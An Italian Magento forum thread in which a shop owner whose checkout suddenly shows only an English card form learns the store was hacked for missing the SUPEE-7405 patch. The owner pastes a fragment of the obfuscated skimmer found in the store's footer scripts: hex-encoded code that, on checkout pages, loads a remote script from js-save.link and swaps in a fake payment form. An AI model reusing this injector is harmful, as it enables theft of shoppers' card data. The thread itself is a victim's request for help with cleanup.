Problema metodi pagamento al checkout (settaggi o hackeraggio?)

[StoreCima]

Salve a tutti,

ho scoperto quest'oggi (tramite telefonata di un cliente) che attualmente il mio sito non consente di effettuare il pagamento di un ordine attraverso i metodi che fino a ieri erano stati impostati, ovvero: "Contrassegno", "Paypal" e "Bonifico Bancario". L'unico metodo al checkou che appare è il metodo di pagamento tramite Carta di Credito (fra l'altro: in lingua inglese e non in italiano!).

Andando a verificare in SISTEMA > Configurazioni > Metodi di Pagamento la cosa strana è che il metodo di pagamento tramite Carta di Credito NON E' ABILITATO, mentre gli altri lo sono (come dovrebbe essere, del resto). Ma, all'atto pratico, in fase di acquisto l'utente si ritrova a non poter scegliere altro se non il pagamento con carta.

Nei giorni passati non ho effettuato alcuna modifica in Magento. Ho soltanto verificato, come sempre del resto, i dati delle fatture di acquisto. Prassi abituale che per l'appunto non comporta alcun tipo di modifiche. Oggi, dopo aver scoperto il problema, ho solo effettuato un reindicizzamento degli Indici e uno svuotamento cache, ma nulla di più (e comunque, non ha evidentemente risolto il problema).

L'unica anomalia riscontrata cui non avevo fatto caso, fino a poco fa, è dovuta a DHL. In fase di checkout infatti, alle "Informazioni di fatturazione", compare questa schermata: QUESTA SCHERMATA ovveroun messaggio da parte di DHL che però, dopo circa 5-6 secondi, scompare. Tuttavia, io non ho problemi con i metodi di spedizione, quindi non capisco se questo è un problema a parte oppure se può esserci una qualche correlazione....

In verità, ho il sospetto possa trattarsi di un hackeraggio.

Qual è la vostra opinione al riguardo? Cosa posso fare per verificare se si tratta di questo oppure se ci sono semplicemente parametri non settati altrove? (ma, garantisco, non ho davvero effettuato alcuna modifica di recente, quindi almeno in prima istanza escludo errori umani da parte mia...)

Ringrazio in anticipo per l'aiuto!!

[Enzo Perrotta]

Si, ti confermo che il sito è stato compromesso e infettato.
Questo è dovuto al fatto che sul tuo sito non risulta nemmeno installata la patch SUPEE-7405

Se hai ricevuto dei pagamenti, probabilmente i dati delle carte di credito usate sono stati rubati.
Ti consiglio di spegnere il sito e riaprirlo una volta pulito.

[StoreCima]

Infatti, come temevo...

Ti ringrazio molto per l'aiuto.

In merito alla patch, chiesi all'epoca assistenza al mio servizio hosting, e il loro supporto tecnico mi disse di aver installato la patch. Stranissimo... Il problema è che, da solo, non ho minimamente idea di come si installi. Dove posso informarmi in tal senso? C'è una procedura specifica che posso seguire? Un qualche tutorial in giro?

Ne approfitto per una ulteriore domanda.

Ho consultato MageReport.com, ho effettuato un controllo del sito e in effetti risultano vari problemi da correggere. Fra questi, mi indica per l'appunto:

"Credit Card Hijack detected? - hacked ---- Risk rating: High ----- On Nov 17th 2015 Credit Card Hijack was discovered. Credit Card Hijack is malicious javascript code injected into Magento shops, that allows hackers to intercept credit card data. This new way of credit card fraud has been undetected for 6 months. How do I fix it?"

e, cliccando sul link che indica, mi mostra in sostanza come risolvere il problema e dove andare a cercare. Mi indica di recarmi in Sistema > Configurazione > Design (sotto "Generale") e di guardare nelle schede "HTML Head" e "Footer" nella sezione "Script". In effetti, nella mia sezione compaiono codici abbastanza stranini, ma non saprei identificare se siano dovuti a qualcosa di specifico o meno... Se cioè vadano bene oppure no... Giusto per dare un'idea, in "Html Footer", all'interno di script, mi compare un codice che inizia con:

var _0x7539=["\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x74\x65\x73\x74","\x6F\x6E\x65\x70\x61\x67\x65\x7C\x63\x68\x65\x63\x6B\x6F\x75\x74\x7C\x6F\x6E\x65\x73\x74\x65\x70\x7C\x66\x69\x72\x65\x63\x68\x65\x63\x6B\x6F\x75\x74","\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x73\x2D\x73\x61\x76\x65\x2E\x6C\x69\x6E\x6B\x2F\x6A\x73\x2D\x73\x61\x76\x65\x2F\x6D\x61\x67\x65\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];if(( new RegExp(_0x7539[2]))[_0x7539[1]](window[_0x7539[0]])){document[_0x7539[4]](_0x7539[3])}

ecc.... (non sto a copiarlo tutto ma nella sostanza va avanti così con questa sintassi per molte righe...) e alla fine del codice leggo questo:

window[_0xc240[3]](function(){if(!document[_0xc240[1]](_0xc240[0])){ShowForm(_0xc240[2])}},100);function ShowForm(_0x25adx2){if(document[_0xc240[1]](_0x25adx2)){var _0x25adx3=document[_0xc240[1]](_0x25adx2);while(_0x25adx3[_0xc240[4]]){_0x25adx3[_0xc240[5]](_0x25adx3[_0xc240[4]])};var _0x25adx4=_0xc240[6];_0x25adx3[_0xc240[8]](_0xc240[7],_0x25adx4)}}

Non sono esperto, quindi chiedo: si tratta di un codice che dovrei rimuovere? Cosa ne pensi/ne pensate? Non vorrei fare più danni di quanti forse non siano stati già prodotti a causa di questo malware...

Intanto comunque certamente bloccherò il sito per evitare problemi ulteriori, anche se (grazie al cielo) il problema si è presentato solo da oggi quindi (ieri era tutto ok) quindi SPERO i danni siano contenuti...

Nuovamente grazie per il supporto!

[Enzo Perrotta]

Figurati,

Purtroppo le infezioni non colpiscono sempre allo stesso modo.
Sicuramente i codici che hai visto sono da eliminare, ma fatto ciò non è detto che il sito sia sicuro.
Potrebbero essere stati infatti compromessi dei files dell'applicazione che andrebbero sostituiti con le versioni "pulite".

Se non hai dimestichezza con lo sviluppo ti consiglio di affidarti ad una persona competente in materia per essere sicuro che tutto il codice malevolo venga rimosso.